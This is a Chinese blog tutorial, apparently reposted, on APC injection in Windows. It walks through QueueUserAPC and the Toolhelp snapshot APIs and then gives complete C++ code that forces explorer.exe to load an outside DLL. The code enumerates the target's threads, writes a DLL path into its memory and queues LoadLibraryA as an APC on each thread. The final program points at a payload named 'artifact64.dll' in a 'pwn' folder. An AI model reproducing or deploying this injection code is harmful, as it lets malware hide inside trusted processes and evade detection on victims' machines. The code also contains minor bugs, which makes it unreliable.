APC 注入

APC注入APC介绍APC(AsynchronousProcedureCalls,异步过程调用),APC是函数在特定的线程被异步执行。在Windows中APC是一种并发机制,用于异步的IO或

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

APC 注入

APC介绍

  1. APC(Asynchronous Procedure Calls,异步过程调用),APC是函数在特定的线程被异步执行。在Windows中APC是一种并发机制,用于异步的IO或定时器。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出。

  2. 只有当一个线程内部调用SleepExSignalObjectAdndWaitWaitForSingleObjectExWaitForMultioleObjectsEx 等特定函数将自己处于挂起状态时,才会执行APC队列函数,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态

  3. 每一个线程都有自己的APC队列(APC queue),可以使用API QueueUserAPC从而将一个APC插入到线程的APC队列中。线程会调用QueueUserAPC中指定的函数。只有将一个APC放入了线程的APC队列中,线程才有机会调用对应的APC函数。

  4. APC(Asynchronous Procedure Calls,异步过程调用),表示在指定线程上下文中异步调用一个函数(APC其实是通过向线程中插入回调函数来实现的,当线程调用上述API时,会触发APC的回调函数,执行回调函数的代码)。

  5. 由内核产生的APC称为内核态(kernel-mode)APC,而由用户应用调用的APC称为用户态(user-mode)APC。

APC机制

Windows APC

APC机制详解

小Win,点一份APC(Apc机制详解)(一)

注入思路

  1. 当指定程序执行到某一个上面的等待函数的时候,系统会产生一个中断
  2. 当线程唤醒的时候, 这个线程会优先去APC队列中调用回调函数
  3. 利用QueueUserApc,往这个队列中插入一个回调
  4. 插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去要加载的Dll的地址

首先通过OpenProcess()打开目标进程,获取进程句柄;然后通过函数CreateToolhelp32Snapshot()Thread32First()以及Thread32Next()遍历进程快照,获取目标进程的所有线程ID;紧接着调用VirtualAllocEx()在目标进程申请内存,通过WriteProcessMemory()向内存写入DLL的注入路径;最后,遍历线程ID,获取线程句柄。调用QueueUserAPC()向线程中插入APC函数,设置APC函数地址为LoadLibraryA()的地址。这样只要目标进程中任意线程被唤醒,便会执行APC,完成DLL注入。

下面来看看用户态下的注入方式的代码实现,即Ring3层

编码实现

CreateToolhelp32Snapshot

获取指定进程的快照,以及这些进程使用的堆、模块和线程。

原型:

HANDLE CreateToolhelp32Snapshot(
  DWORD dwFlags,
  DWORD th32ProcessID
);

参数

dwFlags:

要包含在快照中的系统部分。此参数可以是以下值中的一个或多个。

th32ProcessID:

要包含在快照中的进程的进程标识符。此参数可以为零以指示当前进程。当指定TH32CS_SNAPHEAPLISTTH32CS_SNAPMODULETH32CS_SNAPMODULE32TH32CS_SNAPALL值时使用此参数。否则,它将被忽略并且所有进程都包含在快照中。

返回值

如果该函数成功,则返回指定快照的打开句柄。

Process32First

检索有关系统快照中遇到的第一个进程的信息。

原型:

BOOL Process32First(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);

参数

hSnapshot:

从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。

lppe:

指向PROCESSENTRY32结构的指针 。它包含进程信息,例如可执行文件的名称、进程标识符和父进程的进程标识符。

返回值

如果进程列表的第一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。

Process32Next

检索有关记录在系统快照中的下一个进程的信息。

原型:

BOOL Process32Next(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);

参数

hSnapshot:

从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。

lppe:

指向PROCESSENTRY32结构的指针 。

返回值

如果进程列表的下一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。

QueueUserAPC

将用户模式异步过程调用 (APC) 对象添加到指定线程的 APC 队列。

原型:

DWORD QueueUserAPC(
  PAPCFUNC  pfnAPC,
  HANDLE    hThread,
  ULONG_PTR dwData
);

参数

pfnAPC:

指向应用程序提供的 APC 函数的指针,当指定的线程执行可警报的等待操作时将调用该函数。有关更多信息,请参阅 APCProc

hThread:

线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。

dwData:

传递给pfnAPC参数指向的 APC 函数的单个值。

返回值

如果函数成功,则返回值非零。

如果函数失败,则返回值为零。

PROCESSENTRY32 结构

描述拍摄快照时驻留在系统地址空间中的进程列表中的条目。

原型:

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];
} PROCESSENTRY32;
dwSize

结构的大小,以字节为单位。在调用Process32First函数之前 ,将此成员设置为sizeof(PROCESSENTRY32)。如果不初始化dwSize, Process32First 将失败。

cntUsage

此成员不再使用并且始终设置为零。

th32ProcessID

进程标识符。

th32DefaultHeapID

此成员不再使用并且始终设置为零。

th32ModuleID

此成员不再使用并且始终设置为零。

cntThreads

进程启动的执行线程数。

th32ParentProcessID

创建此进程的进程的标识符(其父进程)。

pcPriClassBase

此进程创建的任何线程的基本优先级。

dwFlags

此成员不再使用并且始终设置为零。

szExeFile

进程的可执行文件的名称。要检索可执行文件的完整路径,请调用Module32First函数并检查返回的MODULEENTRY32结构的szExePath成员。但是,如果调用进程是 32 位进程,则必须调用QueryFullProcessImageName函数来检索 64 位进程的可执行文件的完整路径。

根据进程名获取PID

int main() {
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot ;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	 char* pszProcessName = "explorer.exe";
	
	 //获取进程快照
	 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	 bRet = ::Process32First(hSnapshot, &pe32);
	
	 if (NULL == hSnapshot)
	 {
		 std::cout << "CreateToolhelp32Snapshot_Error" << std::endl;
		
		 return dwProcessId;
	 }

	 while (bRet)
	 {				
		 if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))//lstrcmpi对比相等则为0
		 {
			 //匹配到对于进程,赋值给dwProcessId
			 dwProcessId = pe32.th32ProcessID;
			 break;
		 }

		 bRet =  Process32Next(hSnapshot, &pe32);
	 }
	 std::cout<<dwProcessId << std::endl;

}

APC 注入

根据PID获取所有的相应线程ID

int main() {
	DWORD dwProcessId = 0;
	char* pszProcessName = "explorer.exe";
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	dwProcessId = GetProcessIdByProcessName(pszProcessName);

	do {
		// 申请内存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			std::cout << "new Error" << std::endl;
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);

		//创建线程快照
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		bRet = ::Thread32First(hSnapshot, &te32);

		while (bRet)
		{	
			if (te32.th32OwnerProcessID == dwProcessId) {// 获取进程对应的线程ID
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}
			// 遍历下一个线程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

	} while (FALSE);

	
		std::cout << pThreadId << std::endl;
}

//结果18180

APC注入

int main() {
	DWORD dwProcessId = 0;
	
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;
	LPVOID pBaseAddress;
	HANDLE  hThread = NULL;
	HANDLE hProcess;
	FARPROC pLoadLibraryAFunc;
	char* pszProcessName = "explorer.exe";
	LPCSTR pszDllName = "dll1.dll";
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	dwProcessId = GetProcessIdByProcessName(pszProcessName);
	bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	for (int i = 0; i < dwThreadIdLength; i++)
	{
		// 打开线程
		hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
		if (hThread)
		{
			// 插入APC
			::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
			// 关闭线程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}
}

最终代码

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>


// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName);
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);

void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText);
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}


// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	// 获取进程快照
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (NULL == hSnapshot)
	{
		ShowError("CreateToolhelp32Snapshot");
		return dwProcessId;
	}

	// 获取第一条进程快照信息
	bRet = ::Process32First(hSnapshot, &pe32);
	while (bRet)
	{
		// 获取快照信息
		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}

		// 遍历下一个进程快照信息
		bRet = ::Process32Next(hSnapshot, &pe32);
	}

	return dwProcessId;
}


// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	do
	{
		// 申请内存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			ShowError("new");
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

		// 获取线程快照
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (NULL == hSnapshot)
		{
			ShowError("CreateToolhelp32Snapshot");
			bRet = FALSE;
			break;
		}

		// 获取第一条线程快照信息
		bRet = ::Thread32First(hSnapshot, &te32);
		while (bRet)
		{
			// 获取进程对应的线程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}

			// 遍历下一个线程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

		// 返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[]pThreadId;
			pThreadId = NULL;
		}
	}

	return bRet;
}


// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	DWORD i = 0;

	do
	{
		// 根据进程名称获取PID
		dwProcessId = GetProcessIdByProcessName(pszProcessName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		// 根据PID获取所有的相应线程ID
		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		// 打开注入进程
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		// 在注入进程空间申请内存
		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}
		// 向申请的空间中写入DLL路径数据 
		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		// 获取 LoadLibrary 地址
		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		// 遍历线程, 插入APC
		for (i = 0; i < dwThreadIdLength; i++)
		{
			// 打开线程
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				// 插入APC
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				// 关闭线程句柄
				::CloseHandle(hThread);
				hThread = NULL;
			}
		}

		bRet = TRUE;

	} while (FALSE);

	// 释放内存
	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[]pThreadId;
		pThreadId = NULL;
	}

	return bRet;
}


int main() {
	BOOL bRet = FALSE;

	// APC注入
#ifdef _WIN64
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact64.dll");
#else
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact.dll");
#endif
	if (bRet)
	{
		printf("APC Inject OK.\n");
	}
	else
	{
		printf("APC Inject ERROR.\n");
	}

	system("pause");
	return 0;

}

APC 注入

APC 注入

参考

https://www.cnblogs.com/sakura521/p/15240706.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119839.html原文链接:https://javaforall.net

(0)
上一篇 2021年12月13日 下午4:00
下一篇 2021年12月13日 下午4:00


相关推荐

  • Anaconda– conda 创建、激活、退出、删除虚拟环境

    Anaconda– conda 创建、激活、退出、删除虚拟环境在 Anaconda 中 conda 可以理解为一个工具 也是一个可执行命令 其核心功能是包管理与环境管理 所以对虚拟环境进行创建 删除等操作需要使用 conda 命令 conda 本地环境常用操作 获取版本号 condaversion 或 conda V 检查更新当前 condacondaup 查看当前存在哪些虚拟环境 condaenvlist 或 con

    2026年3月16日
    2
  • leetcode-1830. 使字符串有序的最少操作次数(数位dp+逆元+快速幂+排列)「建议收藏」

    leetcode-1830. 使字符串有序的最少操作次数(数位dp+逆元+快速幂+排列)「建议收藏」给你一个字符串 s (下标从 0 开始)。你需要对 s 执行以下操作直到它变为一个有序字符串:找到 最大下标 i ,使得 1 <= i < s.length 且 s[i] < s[i – 1] 。找到 最大下标 j ,使得 i <= j < s.length 且对于所有在闭区间 [i, j] 之间的 k 都有 s[k] < s[i – 1] 。交换下标为 i – 1​​​​ 和 j​​​​ 处的两个字符。将下标 i 开始的字符串后缀反转。请你返回将字符串变成有序

    2022年8月9日
    8
  • Navicat Premium 15安装需要注意的几个细节

    Navicat Premium 15安装需要注意的几个细节关于软件的下载和激活的流程,网上有太多文章了,这里就不赘述了。主要记录几个细节问题:安装完NavicatPremium15后,激活之前一定不要打开它!打开它不一定有问题,但可以尽量避免后面的各种错误。 下载完成之后,安装解压的过程尽量在断网的情况下进行!不断网不一定有问题,但可以尽量避免后面出现各种问题!激活的过程中,如果没注意这两种,那可能就是经历什么rsapublickeynotfind,或者输入激活密钥有个红叉号等等各种各样的问题,为了避免一些不必要的麻烦,还是按顺序来吧,希望看到

    2022年10月9日
    4
  • dp怎么接显示器和主机_电脑dp接口能单独接显示器吗

    展开全部可以使用。DP在传输视频信号的同时对高清音频信号传输支持,同时支持更高的分辨率32313133353236313431303231363533e4b893e5b19e31333433633362和刷新率。但是,液晶显示器虽然有DP接口,它的作用只是能连接DP信号线,而不可能100%按照DP标准去运行。原因是,其受液晶屏面板限制,分辨率和刷新率不可能跟上显示卡提供的信号的分辨率和刷新率,因为…

    2022年4月17日
    1.1K
  • Ubuntu14.04安装Android SDK

    Ubuntu14.04安装Android SDK1前言做应用开发过程中,通常需要下载相应版本的的AndroidSDK,但是如果拥有了Android源码,是否还需要下载AndroidSDK呢(也即是说,源码中是否已经包含了AndroidSDK的所有内容)?本文以Android6.0.1为例进行对比分析。2下载AndroidSDK3源码prebuilts目录……

    2022年7月21日
    24
  • RSA加密算法原理

    RSA加密算法原理

    2021年4月9日
    180

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号